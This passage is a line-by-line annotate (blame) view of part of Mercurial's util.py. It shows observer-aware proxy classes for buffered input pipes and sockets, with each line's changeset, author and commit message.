Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
586 return object.__getattribute__(self, r'_observedcall')( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
587 r'readall', *args, **kwargs |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
588 ) |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
589 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
590 def readinto(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
591 return object.__getattribute__(self, r'_observedcall')( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
592 r'readinto', *args, **kwargs |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
593 ) |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
594 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
595 def write(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
596 return object.__getattribute__(self, r'_observedcall')( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
597 r'write', *args, **kwargs |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
598 ) |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
599 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
600 def detach(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
601 return object.__getattribute__(self, r'_observedcall')( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
602 r'detach', *args, **kwargs |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
603 ) |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
604 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
605 def read1(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
606 return object.__getattribute__(self, r'_observedcall')( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
607 r'read1', *args, **kwargs |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
608 ) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
609 |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
610 |
36525
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
611 class observedbufferedinputpipe(bufferedinputpipe): |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
612 """A variation of bufferedinputpipe that is aware of fileobjectproxy. |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
613 |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
614 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
615 bypass ``fileobjectproxy``. Because of this, we need to make |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
616 ``bufferedinputpipe`` aware of these operations. |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
617 |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
618 This variation of ``bufferedinputpipe`` can notify observers about |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
619 ``os.read()`` events. It also re-publishes other events, such as |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
620 ``read()`` and ``readline()``. |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
621 """ |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
622 |
36525
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
623 def _fillbuffer(self): |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
624 res = super(observedbufferedinputpipe, self)._fillbuffer() |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
625 |
43103
c95b2f40db7c
py3: stop normalizing 2nd argument of *attr() to unicode
Gregory Szorc <gregory.szorc@gmail.com>
parents:
43090
diff
changeset
|
626 fn = getattr(self._input._observer, 'osread', None) |
36525
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
627 if fn: |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
628 fn(res, _chunksize) |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
629 |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
630 return res |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
631 |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
632 # We use different observer methods because the operation isn't |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
633 # performed on the actual file object but on us. |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
634 def read(self, size): |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
635 res = super(observedbufferedinputpipe, self).read(size) |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
636 |
43103
c95b2f40db7c
py3: stop normalizing 2nd argument of *attr() to unicode
Gregory Szorc <gregory.szorc@gmail.com>
parents:
43090
diff
changeset
|
637 fn = getattr(self._input._observer, 'bufferedread', None) |
36525
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
638 if fn: |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
639 fn(res, size) |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
640 |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
641 return res |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
642 |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
643 def readline(self, *args, **kwargs): |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
644 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs) |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
645 |
43103
c95b2f40db7c
py3: stop normalizing 2nd argument of *attr() to unicode
Gregory Szorc <gregory.szorc@gmail.com>
parents:
43090
diff
changeset
|
646 fn = getattr(self._input._observer, 'bufferedreadline', None) |
36525
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
647 if fn: |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
648 fn(res) |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
649 |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
650 return res |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
651 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
652 |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
653 PROXIED_SOCKET_METHODS = { |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
654 r'makefile', |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
655 r'recv', |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
656 r'recvfrom', |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
657 r'recvfrom_into', |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
658 r'recv_into', |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
659 r'send', |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
660 r'sendall', |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
661 r'sendto', |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
662 r'setblocking', |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
663 r'settimeout', |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
664 r'gettimeout', |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
665 r'setsockopt', |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
666 } |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
667 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
668 |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
669 class socketproxy(object): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
670 """A proxy around a socket that tells a watcher when events occur. |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
671 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
672 This is like ``fileobjectproxy`` except for sockets. |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
673 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
674 This type is intended to only be used for testing purposes. Think hard |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
675 before using it in important code. |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
676 """ |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
677 |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
678 __slots__ = ( |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
679 r'_orig', |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
680 r'_observer', |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
681 ) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
682 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
683 def __init__(self, sock, observer): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
684 object.__setattr__(self, r'_orig', sock) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
685 object.__setattr__(self, r'_observer', observer) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
686 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
687 def __getattribute__(self, name): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
688 if name in PROXIED_SOCKET_METHODS: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
689 return object.__getattribute__(self, name) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
690 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
691 return getattr(object.__getattribute__(self, r'_orig'), name) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
692 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
693 def __delattr__(self, name): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
694 return delattr(object.__getattribute__(self, r'_orig'), name) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
695 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
696 def __setattr__(self, name, value): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
697 return setattr(object.__getattribute__(self, r'_orig'), name, value) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
698 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
699 def __nonzero__(self): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
700 return bool(object.__getattribute__(self, r'_orig')) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
701 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
702 __bool__ = __nonzero__ |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
703 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
704 def _observedcall(self, name, *args, **kwargs): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
705 # Call the original object. |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
706 orig = object.__getattribute__(self, r'_orig') |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
707 res = getattr(orig, name)(*args, **kwargs) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
708 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
709 # Call a method on the observer of the same name with arguments |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
710 # so it can react, log, etc. |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
711 observer = object.__getattribute__(self, r'_observer') |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
712 fn = getattr(observer, name, None) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
713 if fn: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
714 fn(res, *args, **kwargs) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
715 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
716 return res |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
717 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
718 def makefile(self, *args, **kwargs): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
719 res = object.__getattribute__(self, r'_observedcall')( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
720 r'makefile', *args, **kwargs |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
721 ) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
722 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
723 # The file object may be used for I/O. So we turn it into a |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
724 # proxy using our observer. |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
725 observer = object.__getattribute__(self, r'_observer') |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
726 return makeloggingfileobject( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
727 observer.fh, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
728 res, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
729 observer.name, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
730 reads=observer.reads, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
731 writes=observer.writes, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
732 logdata=observer.logdata, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
733 logdataapis=observer.logdataapis, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
734 ) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
735 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
736 def recv(self, *args, **kwargs): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
737 return object.__getattribute__(self, r'_observedcall')( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
738 r'recv', *args, **kwargs |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
739 ) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
740 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
741 def recvfrom(self, *args, **kwargs): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
742 return object.__getattribute__(self, r'_observedcall')( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
743 r'recvfrom', *args, **kwargs |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
744 ) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
745 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
746 def recvfrom_into(self, *args, **kwargs): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
747 return object.__getattribute__(self, r'_observedcall')( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
748 r'recvfrom_into', *args, **kwargs |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
749 ) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
750 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
751 def recv_into(self, *args, **kwargs): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
752 return object.__getattribute__(self, r'_observedcall')( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
753 r'recv_info', *args, **kwargs |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
754 ) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
755 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
756 def send(self, *args, **kwargs): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
757 return object.__getattribute__(self, r'_observedcall')( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
758 r'send', *args, **kwargs |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
759 ) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
760 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
761 def sendall(self, *args, **kwargs): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
762 return object.__getattribute__(self, r'_observedcall')( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
763 r'sendall', *args, **kwargs |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
764 ) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
765 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
766 def sendto(self, *args, **kwargs): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
767 return object.__getattribute__(self, r'_observedcall')( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
768 r'sendto', *args, **kwargs |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
769 ) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
770 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
771 def setblocking(self, *args, **kwargs): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
772 return object.__getattribute__(self, r'_observedcall')( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
773 r'setblocking', *args, **kwargs |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
774 ) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
775 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
776 def settimeout(self, *args, **kwargs): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
777 return object.__getattribute__(self, r'_observedcall')( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
778 r'settimeout', *args, **kwargs |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
779 ) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
780 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
781 def gettimeout(self, *args, **kwargs): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
782 return object.__getattribute__(self, r'_observedcall')( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
783 r'gettimeout', *args, **kwargs |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
784 ) |
37010
8453699a1f21
